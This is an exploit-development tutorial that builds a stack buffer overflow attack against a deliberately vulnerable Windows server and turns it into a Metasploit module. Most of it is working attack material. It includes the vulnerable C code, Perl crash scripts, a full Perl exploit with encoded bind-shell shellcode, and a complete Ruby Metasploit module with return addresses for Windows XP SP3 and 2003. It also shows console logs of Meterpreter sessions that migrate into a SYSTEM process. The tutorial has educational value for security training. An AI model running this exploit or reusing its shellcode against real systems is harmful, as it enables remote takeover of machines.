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n the first parts of the exploit writing tutorial, I have discussed some common vulnerabilities that can lead to 2 types of exploits : stack based buffer overflows (with direct EIP overwrite), and stack based buffer overflows that take advantage of SEH chains. In my examples, I have used perl to demonstrate how to build a working exploit.
Obviously, writing exploits is not limited to perl only. I guess every programming language could be used to write exploits… so you can just pick the one that you are most familiar with. (python, c, c++, C#, etc)
Despite the fact that these custom written exploits will work just fine, it may be nice to be able to include your own exploits in the metasploit framework in order to take advantage of some of the unique metasploit features.
So today, I’m going to explain how exploits can be written as a metasploit module.
Metasploit modules are writting in ruby. Even if you don’t know a lot about ruby, you should still be able to write a metasploit exploit module based on this tutorial and the existing exploits available in metasploit.
Metasploit exploit module structure
A typical metasploit exploit module consists of the following components :
You can put comments in your metasploit module by using the # character. That’s all we need to know for now, let’s look at the steps to build a metasploit exploit module.
Case study : building an exploit for a simple vulnerable server
We’ll use the following vulnerable server code (C) to demonstrate the building process :
#include <iostream.h> #include <winsock.h> #include <windows.h> //load windows socket #pragma comment(lib, "wsock32.lib") //Define Return Messages #define SS_ERROR 1 #define SS_OK 0 void pr( char *str) { char buf[500]=""; strcpy(buf,str); } void sError(char *str) { MessageBox (NULL, str, "socket Error" ,MB_OK); WSACleanup(); } int main(int argc, char **argv) { WORD sockVersion; WSADATA wsaData; int rVal; char Message[5000]=""; char buf[2000]=""; u_short LocalPort; LocalPort = 200; //wsock32 initialized for usage sockVersion = MAKEWORD(1,1); WSAStartup(sockVersion, &wsaData); //create server socket SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0); if(serverSocket == INVALID_SOCKET) { sError("Failed socket()"); return SS_ERROR; } SOCKADDR_IN sin; sin.sin_family = PF_INET; sin.sin_port = htons(LocalPort); sin.sin_addr.s_addr = INADDR_ANY; //bind the socket rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin)); if(rVal == SOCKET_ERROR) { sError("Failed bind()"); WSACleanup(); return SS_ERROR; } //get socket to listen rVal = listen(serverSocket, 10); if(rVal == SOCKET_ERROR) { sError("Failed listen()"); WSACleanup(); return SS_ERROR; } //wait for a client to connect SOCKET clientSocket; clientSocket = accept(serverSocket, NULL, NULL); if(clientSocket == INVALID_SOCKET) { sError("Failed accept()"); WSACleanup(); return SS_ERROR; } int bytesRecv = SOCKET_ERROR; while( bytesRecv == SOCKET_ERROR ) { //receive the data that is being sent by the client max limit to 5000 bytes. bytesRecv = recv( clientSocket, Message, 5000, 0 ); if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET ) { printf( "\nConnection Closed.\n"); break; } } //Pass the data received to the function pr pr(Message); //close client socket closesocket(clientSocket); //close server socket closesocket(serverSocket); WSACleanup(); return SS_OK; }
Compile the code and run it on a Windows 2003 server R2 with SP2. (I have used lcc-win32 to compile the code)
When you send 1000 bytes to the server, the server will crash.
The following perl script demonstrates the crash :
use strict; use Socket; my $junk = "\x41" x1000; # initialize host and port my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!";
The vulnerable server dies, and EIP gets overwritten with A’s
0:001> g (e00.de0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0 eip=41414141 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 41414141 ?? ???
Using a metasploit pattern, we determine that the offset to EIP overwrite is at 504 bytes. So we’ll build a new crash script to verify the offset and see the contents of the registers when the overflow occurs :
use strict; use Socket; my $totalbuffer=1000; my $junk = "\x41" x 504; my $eipoverwrite = "\x42" x 4; my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite)); # initialize host and port my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk.$eipoverwrite.$junk2."\n"; print "[+] Payload sent\n"; close SOCKET or die "close: $!";
After sending 504 A’s, 4 B’s and a bunch of C’s, we can see the following register and stack contents :
0:001> g (ed0.eb0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012e05c ebx=7ffde000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0 eip=42424242 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 42424242 ?? ??? 0:000> d esp 0012e258 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e268 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e278 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e288 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e298 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e2a8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e2b8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC 0012e2c8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
Increase the junk size to see how much space you have available for your shellcode. This is important because you will need to specify this parameter in the metasploit module.
Change the $totalbuffer value to 2000, overflow still works as expected, and the contents of esp indicate that we have been able to fill memory with C’s up to esp+5d3 (1491 bytes). That will be our shellcode space (more or less)
All we need is to overwrite EIP with jmp esp (or call esp, or something similar), and put our shellcode instead of the C’s and we should be fine.
Using findjmp, we have found a working address for our Windows 2003 R2 SP2 server :
findjmp.exe ws2_32.dll esp Reg: esp Scanning ws2_32.dll for code usable with the esp register 0x71C02B67 push esp - ret Finished Scanning ws2_32.dll for code usable with the esp register Found 1 usable addresses
After doing some tests with shellcode, we can use the following conclusions to build the final exploits
Our final exploit ( in perl, with a shell bound to tcp 5555 ) looks like this :
# print " --------------------------------------\n"; print " Writing Buffer Overflows\n"; print " Peter Van Eeckhoutte\n"; print " http://www.corelan.be:8800\n"; print " --------------------------------------\n"; print " Exploit for vulnserver.c\n"; print " --------------------------------------\n"; use strict; use Socket; my $junk = "\x90" x 504; #jmp esp (from ws2_32.dll) my $eipoverwrite = pack('V',0x71C02B67); #add some NOP's my $shellcode="\x90" x 50; # windows/shell_bind_tcp - 702 bytes # http://www.metasploit.com # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=5555, RHOST= $shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" . "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" . "\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" . "\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" . "\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" . "\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" . "\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" . "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" . "\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" . "\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" . "\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" . "\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" . "\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" . "\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" . "\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" . "\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" . "\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" . "\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" . "\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" . "\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" . "\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" . "\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" . "\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" . "\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" . "\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" . "\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" . "\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" . "\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" . "\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" . "\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" . "\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" . "\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" . "\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" . "\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" . "\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" . "\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" . "\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" . "\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" . "\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" . "\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" . "\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" . "\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" . "\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" . "\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" . "\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" . "\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" . "\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" . "\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" . "\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" . "\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" . "\x41\x41"; # initialize host and port my $host = shift || 'localhost'; my $port = shift || 200; my $proto = getprotobyname('tcp'); # get the port address my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); print "[+] Setting up socket\n"; # create the socket, connect to the port socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; print "[+] Connecting to $host on port $port\n"; connect(SOCKET, $paddr) or die "connect: $!"; print "[+] Sending payload\n"; print SOCKET $junk.$eipoverwrite.$shellcode."\n"; print "[+] Payload sent\n"; print "[+] Attempting to telnet to $host on port 5555...\n"; system("telnet $host 5555"); close SOCKET or die "close: $!";
Exploit output :
root@backtrack4:/tmp# perl sploit.pl 192.168.24.3 200
--------------------------------------
Writing Buffer Overflows
Peter Van Eeckhoutte
http://www.corelan.be:8800
--------------------------------------
Exploit for vulnserver.c
--------------------------------------
[+] Setting up socket
[+] Connecting to 192.168.24.3 on port 200
[+] Sending payload
[+] Payload sent
[+] Attempting to telnet to 192.168.24.3 on port 5555...
Trying 192.168.24.3...
Connected to 192.168.24.3.
Escape character is '^]'.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\vulnserver\lcc>whoami
whoami
win2003-01\administrator
The most important parameters that can be taken from this exploit are
Futhermore, after running the same tests against a Windows XP SP3 (English), we determine that the offset is the same, but the jmp address must be changed (to for example 0x7C874413). We’ll build a metasploit module that will allow you to select one of these 2 targets, and will use the correct jmp address.
Converting the exploit to metasploit
First, you need to determine what type your exploit will be, because that will determine the place within the metasploit folder structure where the exploit will be saved. If your exploit is targetting a windows based ftp server, it would need to be placed under the windows ftp server exploits.
Metasploit modules are saved in the framework3xx folder structure, under /modules/exploits. In that folder, the exploits are broken down into operating systems first, and then services.
Our server runs on windows, so we’ll put it under windows. The windows fodler contains a number of folders already (from antivirus to wins), include a “misc” folder. We’ll put our exploit under “misc” (or we could put it under telnet) because it does not really belong to any of the other types.
We’ll create our metasploit module under %metasploit%/modules/windows/misc :
root@backtrack4:/# cd /pentest/exploits/framework3/modules/exploits/windows/misc root@backtrack4:/pentest/exploits/framework3/modules/exploits/windows/misc# vi custom_vulnserver.rb
# # # Custom metasploit exploit for vulnserver.c # Written by Peter Van Eeckhoutte # # require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Custom vulnerable server stack overflow', 'Description' => %q{ This module exploits a stack overflow in a custom vulnerable server. }, 'Author' => [ 'Peter Van Eeckhoutte' ], 'Version' => '$Revision: 9999 $', 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1400, 'BadChars' => "\x00\xff", }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP3 En', { 'Ret' => 0x7c874413, 'Offset' => 504 } ], ['Windows 2003 Server R2 SP2', { 'Ret' => 0x71c02b67, 'Offset' => 504 } ], ], 'DefaultTarget' => 0, 'Privileged' => false )) register_options( [ Opt::RPORT(200) ], self.class) end def exploit connect junk = make_nops(target['Offset']) sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded sock.put(sploit) handler disconnect end end
We see the following components :
That’s it
Now open msfconsole. If there is an error in your script, you will see information about the error while msfconsole loads. If msfconsole was already loaded, you’ll have to close it again before you can use this new module (or before you can use updated module if you have made a change)
Test the exploit
Test 1 : Windows XP SP3
root@backtrack4:/pentest/exploits/framework3# ./msfconsole | | _) | __ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ | ( |\__ \ | | | ( | | | _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| _| =[ msf v3.3-dev + -- --=[ 395 exploits - 239 payloads + -- --=[ 20 encoders - 7 nops =[ 187 aux msf > use windows/misc/custom_vulnserver msf exploit(custom_vulnserver) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 200 yes The target port Exploit target: Id Name -- ---- 0 Windows XP SP3 En msf exploit(custom_vulnserver) > set rhost 192.168.24.10 rhost => 192.168.24.10 msf exploit(custom_vulnserver) > show targets Exploit targets: Id Name -- ---- 0 Windows XP SP3 En 1 Windows 2003 Server R2 SP2 msf exploit(custom_vulnserver) > set target 0 target => 0 msf exploit(custom_vulnserver) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(custom_vulnserver) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.24.10 yes The target address RPORT 200 yes The target port Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.24.10 no The target address Exploit target: Id Name -- ---- 0 Windows XP SP3 En msf exploit(custom_vulnserver) > exploit [*] Started bind handler [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (718336 bytes) [*] Meterpreter session 1 opened (192.168.24.1:42150 -> 192.168.24.10:4444) meterpreter > sysinfo Computer: SPLOITBUILDER1 OS : Windows XP (Build 2600, Service Pack 3).
Test 2 : Windows 2003 Server R2 SP2
(continued from exploit to XP) :
meterpreter > meterpreter > quit [*] Meterpreter session 1 closed. msf exploit(custom_vulnserver) > set rhost 192.168.24.3 rhost => 192.168.24.3 msf exploit(custom_vulnserver) > set target 1 target => 1 msf exploit(custom_vulnserver) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.24.3 yes The target address RPORT 200 yes The target port Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.24.3 no The target address Exploit target: Id Name -- ---- 1 Windows 2003 Server R2 SP2 msf exploit(custom_vulnserver) > exploit [*] Started bind handler [*] Transmitting intermediate stager for over-sized stage...(216 bytes) [*] Sending stage (718336 bytes) [*] Meterpreter session 2 opened (192.168.24.1:56109 -> 192.168.24.3:4444) meterpreter > sysinfo Computer: WIN2003-01 OS : Windows .NET Server (Build 3790, Service Pack 2). meterpreter > getuid Server username: WIN2003-01\Administrator meterpreter > ps Process list ============ PID Name Path --- ---- ---- 300 smss.exe \SystemRoot\System32\smss.exe 372 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 396 Explorer.EXE C:\WINDOWS\Explorer.EXE 420 services.exe C:\WINDOWS\system32\services.exe 424 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe 432 lsass.exe C:\WINDOWS\system32\lsass.exe 652 svchost.exe C:\WINDOWS\system32\svchost.exe 832 svchost.exe C:\WINDOWS\System32\svchost.exe 996 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 1132 svchost.exe C:\WINDOWS\System32\svchost.exe 1392 dllhost.exe C:\WINDOWS\system32\dllhost.exe 1580 svchost.exe C:\WINDOWS\System32\svchost.exe 1600 svchost.exe C:\WINDOWS\System32\svchost.exe 2352 cmd.exe C:\WINDOWS\system32\cmd.exe 2888 vulnserver.exe C:\vulnserver\lcc\vulnserver.exe meterpreter > migrate 996 [*] Migrating to 996... [*] Migration completed successfully. meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
pwned !
More info about the Metasploit API
You can find more information about the Metasploit API (and available classes) athttp://www.metasploit.com/documents/api/msfcore/index.html
Now go out and build your own exploits, put some l33t talk in the exploit and don’t forget to send your greetings to True hackers
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